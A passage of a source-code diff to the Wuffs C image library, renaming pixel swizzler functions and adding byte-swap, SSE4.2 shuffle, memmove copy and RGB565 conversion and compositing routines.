>> (24 - 5)); ++ uint32_t alpha = argb & 0xFF000000; ++ wuffs_base__poke_u32le__no_bounds_check( ++ d, alpha | (r5 << 11) | (g6 << 5) | (b5 << 0)); ++ s += 4; ++ d += 4; + } + return len; + } + ++// -------- ++ + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++wuffs_private_impl__swizzle_swap_rgb_bgr(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t len = (dst_len < src_len ? dst_len : src_len) / 3; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + + size_t n = len; +- while (n >= 1) { +- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); +- uint64_t s0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), +- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); +- +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; ++ while (n--) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ d[0] = s2; ++ d[1] = s1; ++ d[2] = s0; ++ s += 3; ++ d += 3; + } + return len; + } + ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul_4x16le__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len8 < src_len8) ? dst_len8 : src_len8; ++wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t len = (dst_len < src_len ? dst_len : src_len) / 4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; +- + size_t n = len; +- while (n >= 1) { +- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); +- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), +- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); + +- s += 1 * 8; +- d += 1 * 8; +- n -= 1; ++ __m128i shuffle = _mm_set_epi8(+0x0F, +0x0C, +0x0D, +0x0E, // ++ +0x0B, +0x08, +0x09, +0x0A, // ++ +0x07, +0x04, +0x05, +0x06, // ++ +0x03, +0x00, +0x01, +0x02); ++ ++ while (n >= 4) { ++ __m128i x; ++ x = _mm_lddqu_si128((const __m128i*)(const void*)s); ++ x = _mm_shuffle_epi8(x, shuffle); ++ _mm_storeu_si128((__m128i*)(void*)d, x); ++ ++ s += 4 * 4; ++ d += 4 * 4; ++ n -= 4; ++ } ++ ++ while (n--) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ uint8_t s3 = s[3]; ++ d[0] = s2; ++ d[1] = s1; ++ d[2] = s0; ++ d[3] = s3; ++ s += 4; ++ d += 4; + } + return len; + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_premul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++wuffs_private_impl__swizzle_swap_rgbx_bgrx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t len = (dst_len < src_len ? dst_len : src_len) / 4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + + size_t n = len; +- while (n >= 1) { +- uint64_t s0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); +- wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); +- +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; ++ while (n--) { ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ uint8_t s3 = s[3]; ++ d[0] = s2; ++ d[1] = s1; ++ d[2] = s0; ++ d[3] = s3; ++ s += 4; ++ d += 4; + } + return len; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- +- size_t n = len; +- while (n >= 1) { +- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); +- uint64_t s0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), wuffs_base__composite_nonpremul_premul_u64_axxx(d0, s0)); ++// -------- + +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; ++static uint64_t // ++wuffs_private_impl__swizzle_copy_1_1(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t len = (dst_len < src_len) ? dst_len : src_len; ++ if (len > 0) { ++ memmove(dst_ptr, src_ptr, len); + } + return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__index_bgra_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; ++wuffs_private_impl__swizzle_copy_2_2(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; ++ if (len > 0) { ++ memmove(dst_ptr, src_ptr, len * 2); + } +- size_t dst_len8 = dst_len / 8; +- size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- while (n >= 1) { +- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); +- uint64_t s0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4))); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), +- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); ++ return len; ++} + +- s += 1 * 1; +- d += 1 * 8; +- n -= 1; ++static uint64_t // ++wuffs_private_impl__swizzle_copy_3_3(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len3 < src_len3) ? dst_len3 : src_len3; ++ if (len > 0) { ++ memmove(dst_ptr, src_ptr, len * 3); + } +- + return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_nonpremul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; ++wuffs_private_impl__swizzle_copy_4_4(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- +- size_t n = len; +- while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- uint8_t s3 = s[3]; +- d[0] = s2; +- d[1] = s2; +- d[2] = s1; +- d[3] = s1; +- d[4] = s0; +- d[5] = s0; +- d[6] = s3; +- d[7] = s3; +- +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ if (len > 0) { ++ memmove(dst_ptr, src_ptr, len * 4); + } + return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_copy_8_8(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len8 = dst_len / 8; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- +- size_t n = len; +- while (n >= 1) { +- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); +- uint64_t s0 = +- wuffs_base__color_u32__as__color_u64(wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), +- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); +- +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len8 < src_len8) ? dst_len8 : src_len8; ++ if (len > 0) { ++ memmove(dst_ptr, src_ptr, len * 8); + } + return len; + } + ++// -------- ++ + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_premul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++wuffs_private_impl__swizzle_bgr_565__bgr(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len2 < src_len3) ? dst_len2 : src_len3; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; +- + size_t n = len; ++ ++ // TODO: unroll. ++ + while (n >= 1) { +- uint64_t s0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( +- wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); +- wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); ++ uint32_t b5 = (uint32_t)(s[0] >> 3); ++ uint32_t g6 = (uint32_t)(s[1] >> 2); ++ uint32_t r5 = (uint32_t)(s[2] >> 3); ++ uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); + +- s += 1 * 4; +- d += 1 * 8; ++ s += 1 * 3; ++ d += 1 * 2; + n -= 1; + } ++ + return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; ++wuffs_private_impl__swizzle_bgr_565__bgrx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; +- + size_t n = len; ++ ++ // TODO: unroll. ++ + while (n >= 1) { +- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); +- uint64_t s0 = +- wuffs_base__color_u32__as__color_u64(wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), wuffs_base__composite_nonpremul_premul_u64_axxx(d0, s0)); ++ uint32_t b5 = (uint32_t)(s[0] >> 3); ++ uint32_t g6 = (uint32_t)(s[1] >> 2); ++ uint32_t r5 = (uint32_t)(s[2] >> 3); ++ uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); + + s += 1 * 4; +- d += 1 * 8; ++ d += 1 * 2; + n -= 1; + } ++ + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( ++wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul__src( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len2 = dst_len / 2; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22217,13 +23221,14 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( + // TODO: unroll. + + while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); + + s += 1 * 4; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22231,16 +23236,16 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src( ++wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul_4x16le__src( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len2 = dst_len / 2; + size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ size_t len = (dst_len2 < src_len8) ? dst_len2 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22248,13 +23253,14 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src( + // TODO: unroll. + + while (n >= 1) { +- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul(s0)); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))))); + + s += 1 * 8; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22262,16 +23268,16 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over( ++wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len2 = dst_len / 2; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22279,13 +23285,38 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0)); ++ // Extract 16-bit color components. ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sr = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sb = 0x101 * ((uint32_t)s[0]); ++ ++ // Convert from 565 color to 16-bit color. ++ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); ++ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); ++ uint32_t dr = (0x8421 * old_r5) >> 4; ++ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); ++ uint32_t dg = (0x1041 * old_g6) >> 2; ++ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); ++ uint32_t db = (0x8421 * old_b5) >> 4; ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 565 color and combine the components. ++ uint32_t new_r5 = 0x1F & (dr >> 11); ++ uint32_t new_g6 = 0x3F & (dg >> 10); ++ uint32_t new_b5 = 0x1F & (db >> 11); ++ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); + + s += 1 * 4; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22293,16 +23324,16 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src_over( ++wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul_4x16le__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len2 = dst_len / 2; + size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ size_t len = (dst_len2 < src_len8) ? dst_len2 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22310,16 +23341,38 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint64_t d0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); +- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u64__as__color_u32( +- wuffs_base__composite_premul_nonpremul_u64_axxx(d0, s0))); ++ // Extract 16-bit color components. ++ uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); ++ uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); ++ uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); ++ uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); ++ ++ // Convert from 565 color to 16-bit color. ++ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); ++ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); ++ uint32_t dr = (0x8421 * old_r5) >> 4; ++ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); ++ uint32_t dg = (0x1041 * old_g6) >> 2; ++ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); ++ uint32_t db = (0x8421 * old_b5) >> 4; ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 565 color and combine the components. ++ uint32_t new_r5 = 0x1F & (dr >> 11); ++ uint32_t new_g6 = 0x3F & (dg >> 10); ++ uint32_t new_b5 = 0x1F & (db >> 11); ++ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); + + s += 1 * 8; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22327,16 +23380,15 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++wuffs_private_impl__swizzle_bgr_565__bgra_premul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22344,13 +23396,12 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_premul_premul_u32_axxx(d0, s0)); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); + + s += 1 * 4; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22358,19 +23409,16 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over( ++wuffs_private_impl__swizzle_bgr_565__bgra_premul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } +- size_t dst_len4 = dst_len / 4; +- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22378,14 +23426,38 @@ wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0)); ++ // Extract 16-bit color components. ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sr = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sb = 0x101 * ((uint32_t)s[0]); + +- s += 1 * 1; +- d += 1 * 4; ++ // Convert from 565 color to 16-bit color. ++ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); ++ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); ++ uint32_t dr = (0x8421 * old_r5) >> 4; ++ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); ++ uint32_t dg = (0x1041 * old_g6) >> 2; ++ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); ++ uint32_t db = (0x8421 * old_b5) >> 4; ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (premul) over dst (premul). ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert from 16-bit color to 565 color and combine the components. ++ uint32_t new_r5 = 0x1F & (dr >> 11); ++ uint32_t new_g6 = 0x3F & (dg >> 10); ++ uint32_t new_b5 = 0x1F & (db >> 11); ++ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++ ++ s += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22393,16 +23465,15 @@ wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++wuffs_private_impl__swizzle_bgr_565__rgb(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len3 = src_len / 3; ++ size_t len = (dst_len2 < src_len3) ? dst_len2 : src_len3; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22410,14 +23481,14 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src( + // TODO: unroll. + + while (n >= 1) { +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- 